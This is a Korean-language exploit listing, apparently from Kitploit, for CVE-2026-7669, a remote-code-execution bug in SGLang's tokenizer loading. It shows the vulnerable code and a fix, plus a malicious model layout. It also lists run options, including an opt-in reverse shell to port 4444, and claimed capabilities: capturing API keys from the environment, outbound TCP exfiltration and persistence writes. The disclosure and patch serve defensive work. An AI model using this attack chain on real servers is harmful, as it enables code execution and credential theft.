CVE-2026-7669-PoC — PoC for CVE-2026-7669: SGLang의 자동 trust_remote_code 무시로 인한 RCE | Kitploit

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         TokenizerManager.__init__를 통해 재현
./run.sh --versions       transformers 5.0..5.5 매트릭스
./run.sh --revshell IP    IP:4444로 옵트인 리버스 셸
./run.sh --rebuild        --no-cache 강제 재빌드
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

구성 요소	고정 값
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
SGLang 커밋	`fae90abf6e15aaffb6fd924a439253674771487d`
`hf_transformers_utils.py` SHA256	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
취약 블록(898-909행) SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

지표	값	근거
AV	N	트리거 파일(`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`)은 표준 HF Hub `auto_map` 레이아웃입니다. 이를 제공하는 모든 레지스트리가 버그에 도달합니다.
AC	L	`PHASE-2`는 단일 실행에서 결정적으로 발생합니다. 모든 트리거 조건은 공격자가 작성한 콘텐츠입니다. `PRE-1..7`은 환경 핑거프린팅이 없음을 확인합니다.
PR	N	무료 HF Hub 업로드로 충분합니다. 트리거 체인에서 피해자의 기존 권한이 필요한 것은 없습니다.
UI	R	트리거는 운영자(또는 운영자가 구성한 파이프라인)가 `launch_server --model-path attacker/model`을 호출할 때만 발생합니다.
S	U	모든 `SEV-*` 주장은 SGLang 프로세스 권한 내에서 실행됩니다. 샌드박스 또는 컨테이너 탈출이 없습니다.
C	H	`SEV-secrets`는 프로세스 환경에서 `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY`를 캡처합니다. `SEV-network`는 아웃바운드 TCP 유출 채널을 엽니다.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip`는 서로 다른 민감한 위치에 있는 4개의 독립적인 무결성 프리미티브입니다.
A	H	RCE에서 추론됩니다. `SEV-pip`는 임의 하위 프로세스 실행을 증명하며, 이는 자체 DoS에 필요한 것과 동일한 프리미티브입니다. PoC는 자체 종료를 직접 시연하지 않습니다.

그룹	주장
`PRE-1..7`	고정 버전(Python, transformers, 파일 SHA256, 줄 수, 덮어쓰기 블록 SHA256, 기본 `trust_remote_code`, 소스 경로)
`SRC-1`	가져온 `get_tokenizer` 소스에 덮어쓰기가 포함됨
`PHASE-1`	transformers가 `trust_remote_code=False`를 직접 존중함
`PHASE-1b`, `PHASE-1b-mech`	898-909행이 제거된 SGLang이 `False`를 존중하고 정확히 한 번의 `from_pretrained` 호출을 수행함
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	실제 SGLang이 `tokenizer.py`를 실행함. 추적은 호출 0(`False`)->`TokenizersBackend`, 호출 1(`True`)->`MaliciousTokenizer`를 보여줍니다. `trust_remote_code`를 언급하는 로그 줄이 없음(루트 및 `sglang` 로거의 DEBUG 캡처).
`PHASE-2b`	패치 + 명시적 `True`가 여전히 로드됨(패치는 외과적임)
`PHASE-3-rce`, `PHASE-3-via-override`	느린 토크나이저 모드도 동일한 898-909 경로를 통해 RCE에 도달함
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	지속성 및 측면 확산 프리미티브
`SEV-network`	아웃바운드 TCP 유출 채널
`SEV-secrets`	환경 변수 비밀 캡처
`SEV-pip`	임의 pip 설치(공급망)
`SEV-root`	lmsysorg 이미지에서 루트로 실행되는 프로세스
`AUTH-1`	기본 ServerArgs(`api_key=None`, `admin_api_key=None`)는 모든 `ADMIN_OPTIONAL` 엔드포인트를 무인증으로 접근 가능하게 함
`AUTH-2`, `AUTH-3`	구성 시 미들웨어가 무인증을 차단하고 유효한 bearer를 수락함을 확인하는 양성 대조군
`CHAIN-1`	시작 후 를 호출하는 HTTP 엔드포인트 핸들러가 없음(에 호출 지점 0개)

attacker/model/
  config.json             model_type "gpt2" (transformers의 TOKENIZER_MAPPING_NAMES에 있음)
  tokenizer_config.json   사용자 정의 tokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          유효한 BPE 토크나이저(첫 로드가 성공하도록)
  tokenizer.py            페이로드
  model.safetensors       더미 가중치

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

get_tokenizer()

http_server.py

코드	의미
0	확인됨
1	트리거되지 않음
2	오탐(transformers 자체가 `tokenizer.py`를 실행, 버그는 업스트림에 있음)
3	고정 버전 사전 점검 실패

CVE-2026-7669-PoC

인기

취약 코드

재현

판정

고정 환경

CVSS 근거

주장

메커니즘

수정

공개

크레딧

참고 자료